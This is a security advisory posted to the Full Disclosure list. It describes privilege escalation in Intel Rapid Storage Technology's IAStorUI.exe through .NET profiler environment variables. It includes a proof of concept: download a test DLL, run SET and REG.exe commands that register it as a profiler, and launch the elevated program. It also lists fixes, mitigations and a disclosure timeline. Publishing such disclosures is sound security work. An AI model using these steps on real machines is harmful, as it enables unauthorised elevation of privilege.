Message-ID: <BA123DE43154460A9A2775B95769E7B1@W340>
Date: Mon, 19 Nov 2018 13:57:51 +0100
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <bugtraq@...urityfocus.com>
Cc: fulldisclosure@...lists.org
Subject: [FD] Escalation of privilege with Intel Rapid Storage User Interface

Hi @ll,

this is the second part of
<https://seclists.org/fulldisclosure/2018/Nov/45>

Intel® Rapid Storage Technology (Intel® RST) User Interface and Driver
for Windows 10 and Windows Server 2016, version 16.0.2.1086 (Latest),
released 2/21/2018, available from
<https://downloadcenter.intel.com/download/27681/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
as well as the previous version 15.9.0.1015 (Previously Released),
released 11/14/2017, available from
<https://downloadcenter.intel.com/download/27400/Intel-Rapid-Storage-Technology-Intel-RST-User-Interface-and-Driver>,
the la(te)st version supporting Windows 7 and Windows 8.1,
are vulnerable: they allow arbitrary code execution WITH escalation
of privilege via the RST User Interface program IAStorUI.exe.

CVSS score: 7.5/HIGH    CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

On x64 processor architecture this program is installed as
"C:\Program Files (x86)\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
and on x86 processor architecture it is installed as
"C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorUI.exe",
i.e. it is a 32-bit program.


Vulnerability:
==============

IAStorUI.exe depends on .NET Framework 4.x; its embedded "application
manifest" specifies "requireAdministrator", so Windows requests
elevation: "protected" administrators are prompted for consent,
unprivileged standard users are prompted for an administrator password.


All versions of .NET Framework support to load a COM object as code
profiler, enabled via two or three environment variables, thus allowing
arbitrary code execution WITH elevation of privilege through IAStorUI.exe!

>From <https://msdn.microsoft.com/en-us/library/bb384393.aspx>

| A profiler DLL is an unmanaged DLL that runs as part of the
| common language runtime execution engine. As a result, the code
| in the profiler DLL is not subject to the restrictions of managed
| code access security. The only limitations on the profiler DLL are
| those imposed by the operating system on the user who is running
| the profiled application.

>From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>:

| When both environment variable checks pass, the CLR creates an
| instance of the profiler in a similar manner to the COM
| CoCreateInstance function. The profiler is not loaded through a
| direct call to CoCreateInstance. Therefore, a call to CoInitialize,
| which requires setting the threading model, is avoided.


Demonstration/proof of concept:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In the user account created during Windows setup perform the
following actions:

1. fetch
   <https://skanthak.homepage.t-online.de/download/SENTINEL.DLL>
   and save it in an arbitrary directory, for example in %TEMP% or
   %USERPROFILE%\Downloads\;

2. start a command prompt in this directory as UNELEVATED (standard)
   user;

2.a set the users environment variables:

   SET COR_ENABLE_PROFILING=1
   SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A}
   SET COR_PROFILER_PATH=%CD%\SENTINEL.DLL

   JFTR: the CLSID doesn't matter, use any CLSID you like!

   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_ENABLE_PROFILING /T REG_SZ /D 1 /F
   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER /T REG_SZ /D %COR_PROFILER% /F
   REG.exe ADD HKEY_CURRENT_USER\Environment /V COR_PROFILER_PATH /T REG_SZ /D "%COR_PROFILER_PATH%" /F

2.b. (OPTIONALLY) register SENTINEL.DLL as COM object:

   SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32

   REG.exe ADD %KEY% /VE /T REG_SZ /D "%COR_PROFILER_PATH%" /F
   REG.exe ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

3. execute the installed IAStorUI.exe: notice the message boxes
   displayed from SENTINEL.DLL running with "integrity level: high"


NOTE: the precondition "user account created during Windows setup"
      is met on typical installations of Windows: according to
      Microsoft's own security intelligence reports, about 1/2 to
      3/4 of the about 600 million Windows installations which send
      telemetry data have only ONE active user account.
      <https://www.microsoft.com/security/sir>


Fixes:
~~~~~~

1. don't use .NET Framework, at least not in executables which
   are run elevated!

2. NEVER specify "requireAdministrator" or "highestAvailable" in
   the "application manifest" of an executable which uses .NET
   Framework.


Mitigations:
~~~~~~~~~~~~

1. remove all applications installed (not just) by Intel with
   their drivers that depend on .NET framework and run elevated.

   JFTR: there are LOADS of such crap!

2. Practice STRICT privilege separation: use your privileged
   "Administrator" account (especially the account created during
   Windows setup) ONLY for administrative tasks, and COMPLETELY
   separate unprivileged user accounts, with elevation requests
   DISABLED, for your everyday/regular work.


stay tuned
Stefan Kanthak


Timeline:
~~~~~~~~~

2018-06-09    vulnerability report sent to Intel

2018-06-27    Intel confirms the vulnerability, but dismissed
              the report, pointing their fingers at Microsoft:
              "it's not our bug/problem"

2018-11-19    public disclosure


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists